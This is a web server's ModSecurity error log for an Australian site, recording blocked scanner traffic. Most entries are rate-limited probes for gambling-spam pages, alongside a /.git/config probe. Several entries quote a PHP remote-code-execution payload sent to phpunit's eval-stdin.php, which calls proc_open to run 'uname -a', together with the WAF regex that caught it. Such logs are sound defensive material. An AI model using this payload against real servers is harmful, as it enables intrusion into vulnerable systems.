[Tue Jan 27 10:22:51.747871 2026] [:error] [pid 7453:tid 7508] [client 93.158.213.25:44516] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lotto888%20%E0%B8%AB%E0%B8%A7%E0%B8%A2.aspx"] [unique_id "aXghexfsyA2ws_ADquj1mgAAAFM"]
[Tue Jan 27 10:22:54.470590 2026] [:error] [pid 7561:tid 7587] [client 93.158.213.25:44518] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lottovip%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXghfrXGI6mgvHQqkXx0KgAAANc"]
[Tue Jan 27 10:22:57.637672 2026] [:error] [pid 7454:tid 7524] [client 93.158.213.25:56262] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsm99%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXghgZltCoZEfMmfl8DLIwAAAIg"]
[Tue Jan 27 10:23:00.578741 2026] [:error] [pid 48412:tid 48419] [client 93.158.213.25:56270] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aXghhHbJMfAKlln88JFwxAAAAUU"]
[Tue Jan 27 10:23:03.457705 2026] [:error] [pid 48631:tid 48652] [client 93.158.213.25:56284] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXghhyN5eesHzEogX0zopQAAAlM"]
[Tue Jan 27 10:23:06.680445 2026] [:error] [pid 41780:tid 41788] [client 93.158.213.25:50274] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet168%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXghilvu-XLQ0TaZ4FGxrwAAAQY"]
[Tue Jan 27 10:23:09.861298 2026] [:error] [pid 41780:tid 41789] [client 93.158.213.25:50286] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet168.aspx"] [unique_id "aXghjVvu-XLQ0TaZ4FGxsgAAAQc"]
[Tue Jan 27 10:23:12.589908 2026] [:error] [pid 48445:tid 48449] [client 93.158.213.25:50302] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet1688%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXghkBFh_QNUhZ0HkzeHSQAAAYA"]
[Tue Jan 27 10:23:15.571617 2026] [:error] [pid 48662:tid 48678] [client 93.158.213.25:50318] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet365%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXghk-D8iESUP9uRiROnXgAAAoo"]
[Tue Jan 27 10:23:18.367929 2026] [:error] [pid 48662:tid 48688] [client 93.158.213.25:60600] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet777.aspx"] [unique_id "aXghluD8iESUP9uRiROnYwAAApQ"]
[Tue Jan 27 10:23:45.181498 2026] [:error] [pid 7453:tid 7512] [client 93.158.213.25:60606] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z16%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXghsRfsyA2ws_ADquj14AAAAFc"]
[Tue Jan 27 11:39:44.067388 2026] [:error] [pid 7561:tid 7580] [client 64.225.49.30:52069] [client 64.225.49.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aXgzgLXGI6mgvHQqkXyE-wAAANA"], referer: binance.com
[Tue Jan 27 13:57:17.200348 2026] [:error] [pid 48528:tid 48547] [client 93.123.109.175:39250] [client 93.123.109.175] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aXhTvQOGRrquT9N7CZpIggAAAhE"]
[Tue Jan 27 22:27:31.121240 2026] [ssl:error] [pid 39017:tid 39067] [client 15.204.183.221:33084] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: http://measureyourbrand.com/
[Tue Jan 27 22:49:04.121194 2026] [:error] [pid 7561:tid 7573] [client 43.138.68.113:36056] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXjQYLXGI6mgvHQqkXzp0AAAAMk"]
[Tue Jan 27 23:01:47.377721 2026] [:error] [pid 48412:tid 48433] [client 43.173.1.69:59484] [client 43.173.1.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXjTW3bJMfAKlln88JEleAAAAVM"]
[Tue Jan 27 23:17:16.382516 2026] [ssl:error] [pid 48446:tid 48484] [client 15.204.183.221:24014] AH02032: Hostname www.measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: http://www.measureyourbrand.com/
[Tue Jan 27 23:34:38.769953 2026] [:error] [pid 7454:tid 7528] [client 104.248.147.234:58268] [client 104.248.147.234] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aXjbDpltCoZEfMmfl8AyXgAAAIw"]
[Tue Jan 27 23:34:39.126560 2026] [:error] [pid 48412:tid 48419] [client 104.248.147.234:58279] [client 104.248.147.234] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aXjbD3bJMfAKlln88JEr7gAAAUU"]
[Tue Jan 27 23:34:39.512109 2026] [:error] [pid 7453:tid 7512] [client 104.248.147.234:58295] [client 104.248.147.234] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aXjbDxfsyA2ws_ADqui_zwAAAFc"]
[Tue Jan 27 23:34:40.295838 2026] [:error] [pid 48412:tid 48416] [client 104.248.147.234:58321] [client 104.248.147.234] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aXjbEHbJMfAKlln88JEr8QAAAUI"]
[Tue Jan 27 23:34:41.034252 2026] [:error] [pid 7453:tid 7505] [client 104.248.147.234:58361] [client 104.248.147.234] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aXjbERfsyA2ws_ADqui_0AAAAFA"]
[Tue Jan 27 23:34:41.793195 2026] [:error] [pid 7453:tid 7504] [client 104.248.147.234:58394] [client 104.248.147.234] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aXjbERfsyA2ws_ADqui_0wAAAE8"]
[Wed Jan 28 02:07:20.885610 2026] [:error] [pid 41678:tid 41708] [client 217.182.195.181:39334] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%B8%E0%B8%81%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXj-2Kja89ZyPVwMdig4ZQAAAA8"]
[Wed Jan 28 02:07:26.478181 2026] [:error] [pid 24425:tid 24445] [client 217.182.195.181:39350] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%84%E0%B8%A1%E0%B9%88%20%E0%B8%AA%E0%B8%B0%E0%B8%94%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXj-3h_qUCA3SusVe0uQHwAAAQ8"]
[Wed Jan 28 02:07:31.302782 2026] [:error] [pid 24426:tid 24472] [client 217.182.195.181:46584] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXj-4_bw8B_M5J5XrXQE_gAAAU4"]
[Wed Jan 28 02:07:35.538149 2026] [:error] [pid 24427:tid 24506] [client 217.182.195.181:46592] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5pg.aspx"] [unique_id "aXj-505-wqSNb5f_hOIJwgAAAZU"]
[Wed Jan 28 02:07:40.523609 2026] [:error] [pid 24511:tid 24537] [client 217.182.195.181:36580] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXj-7GmoieLyDzs0ASQN0AAAAJY"]
[Wed Jan 28 02:07:45.237002 2026] [:error] [pid 24426:tid 24464] [client 217.182.195.181:36586] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87pg.aspx"] [unique_id "aXj-8fbw8B_M5J5XrXQFDgAAAUY"]
[Wed Jan 28 02:07:48.627128 2026] [:error] [pid 24425:tid 24434] [client 217.182.195.181:36600] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87pp.aspx"] [unique_id "aXj-9B_qUCA3SusVe0uQPAAAAQQ"]
[Wed Jan 28 02:07:52.028695 2026] [:error] [pid 24425:tid 24438] [client 217.182.195.181:34970] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet.aspx"] [unique_id "aXj--B_qUCA3SusVe0uQQgAAAQg"]
[Wed Jan 28 02:07:57.217379 2026] [:error] [pid 24426:tid 24463] [client 217.182.195.181:34972] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9E%E0%B8%99%E0%B8%B1%E0%B8%99.aspx"] [unique_id "aXj-_fbw8B_M5J5XrXQFJgAAAUU"]
[Wed Jan 28 02:08:01.219880 2026] [:error] [pid 24426:tid 24476] [client 217.182.195.181:34984] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXj_Afbw8B_M5J5XrXQFMQAAAVI"]
[Wed Jan 28 02:08:05.313045 2026] [:error] [pid 41678:tid 41714] [client 217.182.195.181:34994] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXj_Baja89ZyPVwMdig4xgAAABU"]
[Wed Jan 28 02:08:09.532379 2026] [:error] [pid 41678:tid 41698] [client 217.182.195.181:35092] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94888.aspx"] [unique_id "aXj_Caja89ZyPVwMdig44gAAAAU"]
[Wed Jan 28 02:08:42.978851 2026] [ssl:error] [pid 41678:tid 41716] [client 15.204.161.7:47730] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://measureyourbrand.com/
[Wed Jan 28 02:08:43.046746 2026] [:error] [pid 24511:tid 24518] [client 217.182.195.181:35102] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1234%20slot.aspx"] [unique_id "aXj_K2moieLyDzs0ASQOZQAAAIM"]
[Wed Jan 28 02:08:46.238218 2026] [:error] [pid 24511:tid 24533] [client 217.182.195.181:44946] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1234%20superslot.aspx"] [unique_id "aXj_LmmoieLyDzs0ASQObAAAAJI"]
[Wed Jan 28 02:08:49.720528 2026] [:error] [pid 24426:tid 24478] [client 217.182.195.181:36470] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1234superslot.aspx"] [unique_id "aXj_Mfbw8B_M5J5XrXQFZQAAAVQ"]
[Wed Jan 28 02:08:53.261066 2026] [:error] [pid 41678:tid 41714] [client 217.182.195.181:36480] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/15%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXj_Naja89ZyPVwMdig5OwAAABU"]
[Wed Jan 28 02:08:56.224911 2026] [:error] [pid 24511:tid 24530] [client 217.182.195.181:36486] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/168%20slot.aspx"] [unique_id "aXj_OGmoieLyDzs0ASQOgQAAAI8"]
